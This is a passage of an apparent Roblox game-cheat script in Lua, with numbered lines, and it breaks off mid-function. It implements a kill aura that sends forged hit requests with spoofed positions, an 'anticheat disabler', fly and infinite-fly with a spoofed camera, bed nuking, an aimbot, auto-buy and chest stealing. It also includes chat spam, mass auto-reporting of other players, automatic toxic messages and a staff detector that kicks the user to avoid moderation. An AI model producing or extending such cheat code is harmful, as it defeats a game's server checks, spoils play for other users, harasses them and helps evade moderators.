  1513.  
  1514. if ZephyrOrb ~= 0 then
  1515. Speed = Speed + 19
  1516. end
  1517.  
  1518. if DamageBoost == true then
  1519. Speed = Speed + 18
  1520. end
  1521.  
  1522. if AnticheatDisabled == true then
  1523. Speed = Speed + 12
  1524. end
  1525.  
  1526. Speed = ((Speed + Settings.Speed.Speed) - 20)
  1527. end
  1528.  
  1529. return Speed
  1530. end
  1531.  
  1532. function GetBlock()
  1533. for i, v in next, GetInventory(LocalPlayer) do
  1534. if ItemTable[v.itemType].block ~= nil and v.itemType:find("wool") then
  1535. return v.itemType
  1536. end
  1537. end
  1538. end
  1539.  
  1540. local function HasItem(Name)
  1541. for i, v in next, GetInventory(LocalPlayer) do
  1542. if v.itemType:find(Name) then
  1543. return v
  1544. end
  1545. end
  1546.  
  1547. return nil
  1548. end
  1549.  
  1550. function AutoBuy()
  1551. local NearestNpc = FindNearestNpc(30)
  1552.  
  1553. if NearestNpc then
  1554. local Wool = {
  1555. [1] = {
  1556. ["shopItem"] = {
  1557. ["currency"] = "iron",
  1558. ["itemType"] = "wool_white",
  1559. ["amount"] = 16,
  1560. ["price"] = 8,
  1561. ["category"] = "Blocks"
  1562. },
  1563. ["shopId"] = NearestNpc.Name
  1564. }
  1565. }
  1566.  
  1567. local EmeraldArmor ={
  1568. [1] = {
  1569. ["shopItem"] = {
  1570. ["lockAfterPurchase"] = true,
  1571. ["itemType"] = "emerald_chestplate",
  1572. ["price"] = 40,
  1573. ["customDisplayName"] = "Emerald Armor",
  1574. ["currency"] = "emerald",
  1575. ["category"] = "Combat",
  1576. ["nextTier"] = "",
  1577. ["ignoredByKit"] = {
  1578. [1] = "bigman"
  1579. },
  1580. ["spawnWithItems"] = {
  1581. [1] = "emerald_helmet",
  1582. [2] = "emerald_chestplate",
  1583. [3] = "emerald_boots"
  1584. },
  1585. ["amount"] = 1
  1586. },
  1587. ["shopId"] = NearestNpc.Name
  1588. }
  1589. }
  1590.  
  1591. local DiamondArmor ={
  1592. [1] = {
  1593. ["shopItem"] = {
  1594. ["lockAfterPurchase"] = true,
  1595. ["itemType"] = "Diamond_chestplate",
  1596. ["price"] = 8,
  1597. ["customDisplayName"] = "Diamond Armor",
  1598. ["currency"] = "emerald",
  1599. ["category"] = "Combat",
  1600. ["nextTier"] = "diamond_chestplate",
  1601. ["ignoredByKit"] = {
  1602. [1] = "bigman"
  1603. },
  1604. ["spawnWithItems"] = {
  1605. [1] = "diamond_helmet",
  1606. [2] = "diamond_chestplate",
  1607. [3] = "diamond_boots"
  1608. },
  1609. ["amount"] = 1
  1610. },
  1611. ["shopId"] = NearestNpc.Name
  1612. }
  1613. }
  1614. local IronArmor ={
  1615. [1] = {
  1616. ["shopItem"] = {
  1617. ["lockAfterPurchase"] = true,
  1618. ["itemType"] = "iron_chestplate",
  1619. ["price"] = 120,
  1620. ["customDisplayName"] = "Iron Armor",
  1621. ["currency"] = "iron",
  1622. ["category"] = "Combat",
  1623. ["nextTier"] = "diamond_chestplate",
  1624. ["ignoredByKit"] = {
  1625. [1] = "bigman"
  1626. },
  1627. ["spawnWithItems"] = {
  1628. [1] = "iron_helmet",
  1629. [2] = "iron_chestplate",
  1630. [3] = "iron_boots"
  1631. },
  1632. ["amount"] = 1
  1633. },
  1634. ["shopId"] = NearestNpc.Name
  1635. }
  1636. }
  1637.  
  1638. local LeatherArmor ={
  1639. [1] = {
  1640. ["shopItem"] = {
  1641. ["lockAfterPurchase"] = true,
  1642. ["itemType"] = "leather_chestplate",
  1643. ["price"] = 50,
  1644. ["customDisplayName"] = "Leather Armor",
  1645. ["currency"] = "iron",
  1646. ["category"] = "Combat",
  1647. ["nextTier"] = "iron_chestplate",
  1648. ["ignoredByKit"] = {
  1649. [1] = "bigman"
  1650. },
  1651. ["spawnWithItems"] = {
  1652. [1] = "leather_helmet",
  1653. [2] = "leather_chestplate",
  1654. [3] = "leather_boots"
  1655. },
  1656. ["amount"] = 1
  1657. },
  1658. ["shopId"] = NearestNpc.Name
  1659. }
  1660. }
  1661.  
  1662. local EmeraldSword = {
  1663. [1] = {
  1664. ["shopItem"] = {
  1665. ["disabledInQueue"] = {
  1666. [1] = "tnt_wars"
  1667. },
  1668. ["itemType"] = "emerald_sword",
  1669. ["price"] = 20,
  1670. ["superiorItems"] = {
  1671. [1] = ""
  1672. },
  1673. ["currency"] = "iron",
  1674. ["amount"] = 1,
  1675. ["ignoredByKit"] = {
  1676. [1] = "barbarian",
  1677. [2] = "dasher",
  1678. [3] = "frost_hammer_kit"
  1679. },
  1680. ["category"] = "Combat",
  1681. ["lockAfterPurchase"] = true
  1682. },
  1683. ["shopId"] = "1_item_shop"
  1684. }
  1685. }
  1686.  
  1687. local DiamondSword = {
  1688. [1] = {
  1689. ["shopItem"] = {
  1690. ["disabledInQueue"] = {
  1691. [1] = "tnt_wars"
  1692. },
  1693. ["itemType"] = "diamond_sword",
  1694. ["price"] = 4,
  1695. ["superiorItems"] = {
  1696. [1] = "emerald_sword"
  1697. },
  1698. ["currency"] = "emerald",
  1699. ["amount"] = 1,
  1700. ["ignoredByKit"] = {
  1701. [1] = "barbarian",
  1702. [2] = "dasher",
  1703. [3] = "frost_hammer_kit"
  1704. },
  1705. ["category"] = "Combat",
  1706. ["lockAfterPurchase"] = true
  1707. },
  1708. ["shopId"] = "1_item_shop"
  1709. }
  1710. }
  1711.  
  1712. local IronSword = {
  1713. [1] = {
  1714. ["shopItem"] = {
  1715. ["disabledInQueue"] = {
  1716. [1] = "tnt_wars"
  1717. },
  1718. ["itemType"] = "iron_sword",
  1719. ["price"] = 70,
  1720. ["superiorItems"] = {
  1721. [1] = "diamond_sword"
  1722. },
  1723. ["currency"] = "iron",
  1724. ["amount"] = 1,
  1725. ["ignoredByKit"] = {
  1726. [1] = "barbarian",
  1727. [2] = "dasher",
  1728. [3] = "frost_hammer_kit"
  1729. },
  1730. ["category"] = "Combat",
  1731. ["lockAfterPurchase"] = true
  1732. },
  1733. ["shopId"] = "1_item_shop"
  1734. }
  1735. }
  1736.  
  1737. local StoneSword = {
  1738. [1] = {
  1739. ["shopItem"] = {
  1740. ["disabledInQueue"] = {
  1741. [1] = "tnt_wars"
  1742. },
  1743. ["itemType"] = "stone_sword",
  1744. ["price"] = 20,
  1745. ["superiorItems"] = {
  1746. [1] = "iron_sword"
  1747. },
  1748. ["currency"] = "iron",
  1749. ["amount"] = 1,
  1750. ["ignoredByKit"] = {
  1751. [1] = "barbarian",
  1752. [2] = "dasher",
  1753. [3] = "frost_hammer_kit"
  1754. },
  1755. ["category"] = "Combat",
  1756. ["lockAfterPurchase"] = true
  1757. },
  1758. ["shopId"] = "1_item_shop"
  1759. }
  1760. }
  1761.  
  1762. task.spawn(function()
  1763. if HasItem("diamond_sword") then
  1764. PurchaseItem(EmeraldSword)
  1765. end
  1766.  
  1767. if HasItem("iron_sword") or HasItem("stone_sword") or HasItem("wood_sword") then
  1768. PurchaseItem(DiamondSword)
  1769. end
  1770.  
  1771. if HasItem("stone_sword") and HasItem("iron_chestplate") then
  1772. PurchaseItem(IronSword)
  1773. end
  1774.  
  1775. if HasItem("wood_sword") then
  1776. PurchaseItem(StoneSword)
  1777. end
  1778. end)
  1779.  
  1780. task.spawn(function()
  1781. if HasItem("diamond_chestplate") then
  1782. PurchaseItem(EmeraldArmor)
  1783. end
  1784.  
  1785. if HasItem("iron_chestplate") then
  1786. PurchaseItem(DiamondArmor)
  1787. end
  1788.  
  1789. if HasItem("stone_sword") and not HasItem("iron_chestplate") and not HasItem("diamond_chestplate") and not HasItem("emerald_chestplate") then
  1790. PurchaseItem(LeatherArmor)
  1791. end
  1792.  
  1793. if HasItem("leather_chestplate") then
  1794. PurchaseItem(IronArmor)
  1795. end
  1796. end)
  1797.  
  1798. task.spawn(function()
  1799. if HasItem("iron_chestplate") and HasItem("iron_sword") and Settings.Scaffold.Value == true then
  1800. PurchaseItem(Wool)
  1801. end
  1802. end)
  1803. end
  1804. end
  1805.  
  1806. function AutoKit()
  1807. local FindPetrifiedPlayer = FindPetrifiedPlayer()
  1808. local NearestPlayer = FindNearestPlayer(math.huge)
  1809.  
  1810. task.spawn(function()
  1811. if IsAlive(LocalPlayer) and NearestPlayer then
  1812. HannahPromptTriggerRemote:CallServer({victimEntity = NearestPlayer.Character, ["user"] = LocalPlayer})
  1813. end
  1814. end)
  1815.  
  1816. task.spawn(function()
  1817. if FindPetrifiedPlayer then
  1818. MinerRemote:FireServer({petrifyId = FindPetrifiedPlayer:GetAttribute("PetrifyId")})
  1819. end
  1820. end)
  1821.  
  1822. task.spawn(function()
  1823. TrinitySetAngelTypeRemote:FireServer({angel = "Void"})
  1824. end)
  1825. end
  1826.  
  1827. function IsAlive(Player)
  1828. Player = Player or LocalPlayer
  1829.  
  1830. if not Player.Character then return false end
  1831. if not Player.Character:FindFirstChild("Humanoid") then return false end
  1832. if Player.Character:GetAttribute("Health") <= 0 then return false end
  1833. if not Player.Character.PrimaryPart then return false end
  1834.  
  1835. return true
  1836. end
  1837.  
  1838. local function SwordHit(Entity, Weapon, NearestEntityDistance)
  1839. local LocalPlayerHumanoidRootPart = LocalPlayer.Character.HumanoidRootPart
  1840. local EntityPrimaryPart = Entity.PrimaryPart
  1841.  
  1842. local SelfPosition = LocalPlayerHumanoidRootPart.Position + (20 > 14 and (LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude > 14.4 and (CFrame.lookAt(LocalPlayerHumanoidRootPart.Position, EntityPrimaryPart.Position).lookVector * ((LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude - 14)) or Vector3.zero)
  1843.  
  1844. task.spawn(function()
  1845. if KillAuraAnimationCooldown and Settings.KillAura.CustomAnimation == true then
  1846. KillAuraAnimationCooldown = false
  1847.  
  1848. if Settings.Sigma.Value == false then
  1849. PlayAnimation(Animations.KillAura)
  1850.  
  1851. KillAuraAnimationCooldown = true
  1852. end
  1853.  
  1854. if Settings.Sigma.Value == true then
  1855. PlayAnimation(Animations.Sigma)
  1856.  
  1857. KillAuraAnimationCooldown = true
  1858. end
  1859. end
  1860. end)
  1861.  
  1862. task.spawn(function()
  1863. if Settings.KillAura.Strafe == true and NearestEntityDistance < (AnticheatDisabled and 16 or 12) then
  1864. LocalPlayerHumanoidRootPart.CFrame = CFrame.new(EntityPrimaryPart.Position - EntityPrimaryPart.CFrame.LookVector * 5 + Vector3.new(0, 0, 5))
  1865. end
  1866. end)
  1867.  
  1868. task.spawn(function()
  1869. if Settings.KillAura.ToolCheck == false then
  1870. task.spawn(function()
  1871. SwitchItem(Weapon.itemType)
  1872. end)
  1873.  
  1874. SelfPosition = LocalPlayerHumanoidRootPart.Position + (20 > 14 and (LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude > 14.4 and (CFrame.lookAt(LocalPlayerHumanoidRootPart.Position, EntityPrimaryPart.Position).lookVector * ((LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude - 14)) or Vector3.zero)
  1875.  
  1876. SwordHitRemote:FireServer({
  1877. weapon = Weapon.tool,
  1878. chargedAttack = {chargeRatio = 0},
  1879. entityInstance = Entity,
  1880. validate = {
  1881. raycast = {
  1882. cameraPosition = HashFunction(LocalPlayerHumanoidRootPart.Position),
  1883. cursorDirection = HashFunction(CFrame.new(SelfPosition, EntityPrimaryPart.Position).lookVector)
  1884. },
  1885. targetPosition = HashFunction(EntityPrimaryPart.Position),
  1886. selfPosition = HashFunction(SelfPosition)
  1887. }
  1888. })
  1889. end
  1890.  
  1891. if Settings.KillAura.ToolCheck == true then
  1892. if HasItem(Weapon.itemType) then
  1893. SelfPosition = LocalPlayerHumanoidRootPart.Position + (20 > 14 and (LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude > 14.4 and (CFrame.lookAt(LocalPlayerHumanoidRootPart.Position, EntityPrimaryPart.Position).lookVector * ((LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude - 14)) or Vector3.zero)
  1894.  
  1895. SwordHitRemote:FireServer({
  1896. weapon = Weapon.tool,
  1897. chargedAttack = {chargeRatio = 0},
  1898. entityInstance = Entity,
  1899. validate = {
  1900. raycast = {
  1901. cameraPosition = HashFunction(LocalPlayerHumanoidRootPart.Position),
  1902. cursorDirection = HashFunction(CFrame.new(SelfPosition, EntityPrimaryPart.Position).lookVector)
  1903. },
  1904. targetPosition = HashFunction(EntityPrimaryPart.Position),
  1905. selfPosition = HashFunction(SelfPosition)
  1906. }
  1907. })
  1908. end
  1909. end
  1910. end)
  1911. end
  1912.  
  1913. function GetBow()
  1914. local BestBow, BestBowDamage = nil, 0
  1915.  
  1916. for i, v in next, GetInventory(LocalPlayer) do
  1917. if v.itemType:find("bow") then
  1918. local Item = ItemTable[v.itemType].projectileSource
  1919. local Arrow = Item.projectileType("arrow")
  1920. local Damage = ProjectileMeta[Arrow].combat.damage
  1921.  
  1922. if Damage > BestBowDamage then
  1923. BestBowDamage = Damage
  1924. BestBow = v
  1925. end
  1926. end
  1927. end
  1928.  
  1929. return BestBow, BestBowDamage
  1930. end
  1931.  
  1932. local function InfFly()
  1933. if InfiniteFlyValue == true and IsAlive(LocalPlayer) then
  1934. SpoofedCamera = CreateSpoofedCamera()
  1935. StartLevel = LocalPlayer.Character.Head.Position.Y
  1936.  
  1937. if SpoofedCamera then
  1938. SetCamera(SpoofedCamera)
  1939. end
  1940.  
  1941. LocalPlayer.Character.PrimaryPart.CFrame += Vector3.new(0, 1000000, 0)
  1942. SpoofedCamera.Position = Vector3.new(SpoofedCamera.Position.X, StartLevel, SpoofedCamera.Position.Z)
  1943.  
  1944. repeat
  1945. task.wait()
  1946.  
  1947. SpoofedCamera.Position = Vector3.new(LocalPlayer.Character.PrimaryPart.Position.X, SpoofedCamera.Position.Y + (FlyUp and 0.5 or 0) + (FlyDown and -0.5 or 0), LocalPlayer.Character.PrimaryPart.Position.Z)
  1948. StartLevel = SpoofedCamera.Position.Y
  1949. until InfiniteFlyValue == false or not IsAlive(LocalPlayer)
  1950.  
  1951. if InfiniteFlyValue == false or not IsAlive(LocalPlayer) then
  1952. LocalPlayer.Character.PrimaryPart.Anchored = true
  1953. LocalPlayer.Character.PrimaryPart.CFrame = SpoofedCamera.CFrame + Vector3.new(0, 5, 0)
  1954. SetCamera(LocalPlayer.Character)
  1955.  
  1956. SpoofedCamera:Destroy()
  1957.  
  1958. task.wait(0.025)
  1959.  
  1960. WorkSpace.Gravity = 50
  1961. LocalPlayer.Character.PrimaryPart.Anchored = false
  1962.  
  1963. task.wait(1)
  1964.  
  1965. WorkSpace.Gravity = 196.2
  1966. end
  1967. end
  1968. end
  1969.  
  1970. local function Nuker(NearestBed, NearestOre)
  1971. if NearestBed then
  1972. local NukerRaycastParameters = RaycastParams.new()
  1973. local TargetBlock = nil
  1974.  
  1975. NukerRaycastParameters.FilterType = Enum.RaycastFilterType.Exclude
  1976. NukerRaycastParameters.FilterDescendantsInstances = {LocalPlayer.Character}
  1977. NukerRaycastParameters.IgnoreWater = true
  1978.  
  1979. local RaycastResult = WorkSpace:Raycast(NearestBed.Position + Vector3.new(0, 30, 0), Vector3.new(0, -35, 0), NukerRaycastParameters)
  1980.  
  1981. if RaycastResult then
  1982. if RaycastResult.Instance then
  1983. TargetBlock = RaycastResult.Instance
  1984. end
  1985.  
  1986. if not RaycastResult.Instance then
  1987. TargetBlock = NearestBed
  1988. end
  1989.  
  1990. DamageBlockRemote:InvokeServer({
  1991. ["blockRef"] = {
  1992. ["blockPosition"] = GetServerPosition(TargetBlock.Position)
  1993. },
  1994. ["hitPosition"] = GetServerPosition(TargetBlock.Position),
  1995. ["hitNormal"] = GetServerPosition(TargetBlock.Position)
  1996. })
  1997. end
  1998. end
  1999.  
  2000. if not NearestBed and NearestOre then
  2001. if Settings.Nuker.BreakOres == true then
  2002. DamageBlockRemote:InvokeServer({
  2003. ["blockRef"] = {
  2004. ["blockPosition"] = GetServerPosition(NearestOre.Position)
  2005. },
  2006. ["hitPosition"] = GetServerPosition(NearestOre.Position),
  2007. ["hitNormal"] = GetServerPosition(NearestOre.Position)
  2008. })
  2009. end
  2010. end
  2011. end
  2012.  
  2013. local function FlyMe()
  2014. local FlyGroundTime = tick()
  2015.  
  2016. if FlyValue == true and IsAlive(LocalPlayer) then
  2017. task.spawn(function()
  2018. local FlyHud, NumberDisplay, SliderDisplay = CreateFlyHud()
  2019.  
  2020. repeat
  2021. task.wait()
  2022.  
  2023. if tick() - FlyGroundTime <= 2.4 then
  2024. local MaxFlyTime = 2.4
  2025. local FlyTime = DecimalRound(tick() - FlyGroundTime, 1)
  2026.  
  2027. NumberDisplay.Text = FlyTime
  2028.  
  2029. local TweenInformation = TweenInfo.new(0.35, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0)
  2030. local Tween = TweenService:Create(SliderDisplay, TweenInformation, {Size = UDim2.new(FlyTime / MaxFlyTime, 0, 1, 0)})
  2031.  
  2032. Tween:Play()
  2033. end
  2034.  
  2035. until FlyValue == false or not IsAlive(LocalPlayer)
  2036.  
  2037. FlyHud:Destroy()
  2038. end)
  2039.  
  2040. task.spawn(function()
  2041. FlyBodyVelocity = Instance.new("BodyVelocity")
  2042. FlyBodyVelocity.MaxForce = Vector3.new(0, 9e9, 0)
  2043. FlyBodyVelocity.Name = "FlyBodyVelocity"
  2044. FlyBodyVelocity.Parent = LocalPlayer.Character.PrimaryPart
  2045.  
  2046. FlyGroundTime = tick()
  2047.  
  2048. repeat
  2049. task.wait(LoopWaitTime)
  2050.  
  2051. if TouchingGround() then
  2052. FlyGroundTime = tick()
  2053. end
  2054.  
  2055. if FlyValue == true and IsAlive(LocalPlayer) then
  2056. FlyBodyVelocity.Velocity = Vector3.new(0, (FlyUp and 40 or 0) + (FlyDown and -40 or 0), 0)
  2057.  
  2058. if (tick() - FlyGroundTime) >= 2.4 then
  2059. local FlyTeleportPosition = LocalPlayer.Character.PrimaryPart.Position.Y
  2060.  
  2061. local FlyRaycastParameters = RaycastParams.new()
  2062.  
  2063. FlyRaycastParameters.FilterType = Enum.RaycastFilterType.Include
  2064. FlyRaycastParameters.FilterDescendantsInstances = {CollectionService:GetTagged("block")}
  2065.  
  2066. local Raycast = workspace:Raycast(LocalPlayer.Character.PrimaryPart.Position, Vector3.new(0, -1000, 0), FlyRaycastParameters)
  2067.  
  2068. if Raycast and Raycast.Instance and IsAlive(LocalPlayer) then
  2069. LocalPlayer.Character.PrimaryPart.CFrame = CFrame.new(Raycast.Instance.Position) + Vector3.new(0, LocalPlayer.Character.Humanoid.HipHeight, 0)
  2070.  
  2071. task.wait(0.12)
  2072.  
  2073. if IsAlive(LocalPlayer) then
  2074. LocalPlayer.Character.PrimaryPart.CFrame = CFrame.new(LocalPlayer.Character.PrimaryPart.Position + (Vector3.new(0, FlyTeleportPosition, 0) - Vector3.new(0, LocalPlayer.Character.PrimaryPart.Position.Y, 0)))
  2075.  
  2076. FlyGroundTime = tick()
  2077. end
  2078. end
  2079. end
  2080. end
  2081. until FlyValue == false or not IsAlive(LocalPlayer)
  2082.  
  2083. if LocalPlayer.Character.PrimaryPart:FindFirstChild("FlyBodyVelocity") then
  2084. LocalPlayer.Character.PrimaryPart:FindFirstChild("FlyBodyVelocity"):Destroy()
  2085. FlyGroundTime = tick()
  2086. end
  2087. end)
  2088. end
  2089. end
  2090.  
  2091. task.spawn(function()
  2092. repeat
  2093. task.wait(LoopWaitTime)
  2094.  
  2095. if Settings.KillAura.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2096. local NearestEntity, NearestEntityDistance = FindNearestEntity(Settings.KillAura.Range)
  2097. local Sword = GetSword()
  2098.  
  2099. task.spawn(function()
  2100. if not NearestEntity then
  2101. PlayAnimation(Animations.Neutral)
  2102. end
  2103. end)
  2104.  
  2105. task.spawn(function()
  2106. if NearestEntity and Sword then
  2107. SwordHit(NearestEntity, Sword, NearestEntityDistance)
  2108. end
  2109. end)
  2110. end
  2111. until not game
  2112. end)
  2113.  
  2114. task.spawn(function()
  2115. repeat
  2116. task.wait(LoopWaitTime)
  2117.  
  2118. task.spawn(function()
  2119. if Settings.AimAssist.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2120. local NearestEntity = FindNearestEntity(Settings.AimAssist.Range)
  2121.  
  2122. if NearestEntity then
  2123. local LookVector = (NearestEntity.PrimaryPart.Position - Camera.CFrame.Position).unit
  2124.  
  2125. Camera.CFrame = CFrame.new(Camera.CFrame.Position, Camera.CFrame.Position + LookVector)
  2126. end
  2127. end
  2128. end)
  2129.  
  2130. task.spawn(function()
  2131. if Settings.Aimbot.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2132. local NearestEntity, NearestEntityDistance = FindNearestEntity(math.huge)
  2133.  
  2134. local BestBow = GetBow()
  2135.  
  2136. if BestBow and IsAlive(LocalPlayer) and NearestEntity and not NearestEntity:FindFirstChildOfClass("ForceField") and NearestEntityDistance > 18 then
  2137. if Settings.Aimbot.ToolCheck == true then
  2138. if HasItem(BestBow.itemType) and HasItem("arrow") then
  2139. local Bow = HasItem(BestBow.itemType)
  2140.  
  2141. if Bow then
  2142. ShootProjectile(ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild(BestBow.itemType), "arrow")
  2143. end
  2144. end
  2145. end
  2146.  
  2147. if Settings.Aimbot.ToolCheck == false then
  2148. local Bow = HasItem(BestBow.itemType)
  2149.  
  2150. if Bow and HasItem("arrow") then
  2151. SwitchItem(BestBow.itemType)
  2152.  
  2153. ShootProjectile(ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild(BestBow.itemType), "arrow")
  2154. end
  2155. end
  2156. end
  2157.  
  2158. if not BestBow and IsAlive(LocalPlayer) then
  2159. if HasItem("fireball") then
  2160. ShootProjectile(ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild("fireball"), "fireball")
  2161. end
  2162.  
  2163. if HasItem("snowball") then
  2164. ShootProjectile(ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild("snowball"), "snowball")
  2165. end
  2166. end
  2167. end
  2168. end)
  2169.  
  2170. task.spawn(function()
  2171. local HipHeight = 1.99999
  2172.  
  2173. if Settings.AcDisabler.Value == true and IsAlive(LocalPlayer) then
  2174. local Elk = LocalPlayer.Character:FindFirstChild("elk")
  2175.  
  2176. LocalPlayer.Character.Humanoid.HipHeight = HipHeight
  2177. AnticheatDisabled = true
  2178.  
  2179. if Elk and Elk:FindFirstChild("body_mesh") then
  2180. Elk:FindFirstChild("body_mesh"):Destroy()
  2181. Elk.PrimaryPart:Destroy()
  2182. end
  2183.  
  2184. task.spawn(function()
  2185. local Args = {
  2186. [1] = "elk_summon"
  2187. }
  2188.  
  2189. ElkSummonRemote:FireServer(unpack(Args))
  2190. end)
  2191. end
  2192.  
  2193. if Settings.AcDisabler.Value == false or not IsAlive(LocalPlayer) or not LocalPlayer.Character:FindFirstChild("elk") then
  2194. AnticheatDisabled = false
  2195. end
  2196. end)
  2197.  
  2198. task.spawn(function()
  2199. if Settings.Scaffold.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2200. for i = 1, Settings.Scaffold.ExpandDistance do
  2201. local ScaffoldCFrame = LocalPlayer.Character.PrimaryPart.Position + (LocalPlayer.Character.Humanoid.MoveDirection * (i * 3.3)) - Vector3.new(0, (LocalPlayer.Character.PrimaryPart.Size.Y / 2) + (LocalPlayer.Character.Humanoid.HipHeight + 1.5), 0)
  2202. local Position = GetServerPosition(ScaffoldCFrame)
  2203. local Block = GetBlock()
  2204.  
  2205. if Block then
  2206. task.spawn(function()
  2207. PlaceBlock(Position, Block)
  2208. end)
  2209. end
  2210. end
  2211. end
  2212. end)
  2213. until not game
  2214. end)
  2215.  
  2216. task.spawn(function()
  2217. repeat
  2218. task.wait(0.5)
  2219.  
  2220. task.spawn(function()
  2221. if Settings.NoFall.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2222. GroundHitRemote:FireServer()
  2223. end
  2224. end)
  2225.  
  2226. task.spawn(function()
  2227. if Settings.ChestStealer.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2228. local NearestChest = FindNearestChest()
  2229.  
  2230. if NearestChest then
  2231. StealChest(NearestChest)
  2232. end
  2233. end
  2234. end)
  2235.  
  2236. task.spawn(function()
  2237. if Settings.AutoKit.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2238. AutoKit()
  2239. end
  2240. end)
  2241.  
  2242. task.spawn(function()
  2243. if Settings.AutoBank.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2244. AutoBank()
  2245. end
  2246. end)
  2247.  
  2248. task.spawn(function()
  2249. if Settings.AutoBuy.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2250. AutoBuy()
  2251. end
  2252. end)
  2253.  
  2254. task.spawn(function()
  2255. if Settings.Fov.Value == true then
  2256. FovController:setFOV(Settings.Fov.Fov)
  2257. end
  2258.  
  2259. if Settings.Fov.Value == false then
  2260. FovController:setFOV(ClientHandlerStore:getState().Settings.fov)
  2261. end
  2262. end)
  2263. until not game
  2264. end)
  2265.  
  2266. task.spawn(function()
  2267. repeat
  2268. task.wait(1 / Settings.AutoClicker.Cps)
  2269.  
  2270. if Settings.AutoClicker.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2271. task.spawn(function()
  2272. if ClientHandlerStore:getstate().Inventory.observedInventory == "block" and BlockPlacementController.blockPlacer.clientManager then
  2273. local MouseInformation = BlockPlacementController.blockPlacer.clientManager:getBlockSelector():getMouseInfo(0)
  2274.  
  2275. if MouseInformation then
  2276. BlockPlacementController.blockPlacer:placeBlock(MouseInformation.placementPosition)
  2277. end
  2278. end
  2279. end)
  2280.  
  2281. task.spawn(function()
  2282. SwordController:swingSwordAtMouse()
  2283. end)
  2284. end
  2285. until not game
  2286. end)
  2287.  
  2288. task.spawn(function()
  2289. repeat
  2290. task.wait(100 / Settings.ChatSpammer.Speed)
  2291.  
  2292. task.spawn(function()
  2293. if Settings.ChatSpammer.Value == true and GetMatchState() ~= 0 then
  2294. ChatSpam()
  2295. end
  2296. end)
  2297. until not game
  2298. end)
  2299.  
  2300. task.spawn(function()
  2301. local ReportedList = {}
  2302.  
  2303. repeat
  2304. task.wait(LoopWaitTime)
  2305.  
  2306. if Settings.AutoReport.Value == true then
  2307. for i, v in next, PlayerService:GetPlayers() do
  2308. if v ~= LocalPlayer and v:GetAttribute("PlayerConnected") and ReportedList[v] == nil then
  2309. ReportRemote:FireServer(v.UserId)
  2310. ReportedList[v] = true
  2311.  
  2312. task.wait(1)
  2313. end
  2314. end
  2315. end
  2316. until not game
  2317. end)
  2318.  
  2319. task.spawn(function()
  2320. PlayerService.PlayerAdded:Connect(function(Player)
  2321. if Player:IsInGroup(5774246) and Player:GetRankInGroup(5774246) >= 2 then
  2322.  
  2323. task.spawn(function()
  2324. if Settings.AntiStaff.Kick == true then
  2325. LocalPlayer:Kick("A staff has joined your game!")
  2326. end
  2327.  
  2328. CreateNotification(60, "A staff has joined your game!")
  2329. end)
  2330. end
  2331. end)
  2332.  
  2333. task.spawn(function()
  2334. task.wait(5)
  2335.  
  2336. for i, v in next, PlayerService:GetPlayers() do
  2337. task.spawn(function()
  2338. if v:IsInGroup(5774246) and v:GetRankInGroup(5774246) >= 2 then
  2339.  
  2340. task.spawn(function()
  2341. task.spawn(function()
  2342. if Settings.AntiStaff.Kick == true then
  2343. LocalPlayer:Kick("A staff has joined your game!")
  2344. end
  2345. end)
  2346.  
  2347. CreateNotification(60, "A staff has joined your game!")
  2348. end)
  2349. end
  2350. end)
  2351. end
  2352. end)
  2353. end)
  2354.  
  2355. task.spawn(function()
  2356. repeat task.wait() until GetMatchState() ~= 0
  2357.  
  2358. task.wait(0.3)
  2359.  
  2360. for i, v in next, PlayerService:GetPlayers() do
  2361. if IsAlive(v) then
  2362. v.Character.Humanoid.HealthChanged:Connect(function(Health)
  2363. if Health <= 0 and v.Team ~= LocalPlayer.Team and v ~= LocalPlayer and Settings.AutoToxic.Value == true then
  2364. AutoToxic(v)
  2365. end
  2366.  
  2367. if Settings.GodMode.Value == true and Health > 30 and GodModed == true and v == LocalPlayer then
  2368. InfiniteFlyValue = false
  2369. GodModed = false
  2370. end
  2371.  
  2372. if Settings.GodMode.Value == true and Health <= 30 and GodModed == false and InfiniteFlyValue == false and v == LocalPlayer then
  2373. InfiniteFlyValue = true
  2374. GodModed = true
  2375.  
  2376. InfFly()
  2377. end
  2378. end)
  2379. end
  2380.  
  2381. task.spawn(function()
  2382. v.CharacterAdded:Connect(function(Character)
  2383. task.wait(0.3)
  2384.  
  2385. local v = PlayerService:FindFirstChild(Character.Name) or v
  2386.  
  2387. if IsAlive(v) then
  2388. v.Character.Humanoid.HealthChanged:Connect(function(Health)
  2389. if Health <= 0 and v.Team ~= LocalPlayer.Team and v ~= LocalPlayer and Settings.AutoToxic.Value == true then
  2390. AutoToxic(v)
  2391. end
  2392.  
  2393. if Settings.GodMode.Value == true and Health > 30 and GodModed == true and v == LocalPlayer then
  2394. InfiniteFlyValue = false
  2395. GodModed = false
  2396. end
  2397.  
  2398. if Settings.GodMode.Value == true and Health <= 30 and GodModed == false and InfiniteFlyValue == false and v == LocalPlayer then
  2399. InfiniteFlyValue = true
  2400. GodModed = true
  2401.  
  2402. InfFly()
  2403. end
  2404. end)
  2405. end
  2406. end)
  2407. end)
  2408. end
  2409. end)
  2410.  
  2411. task.spawn(function()
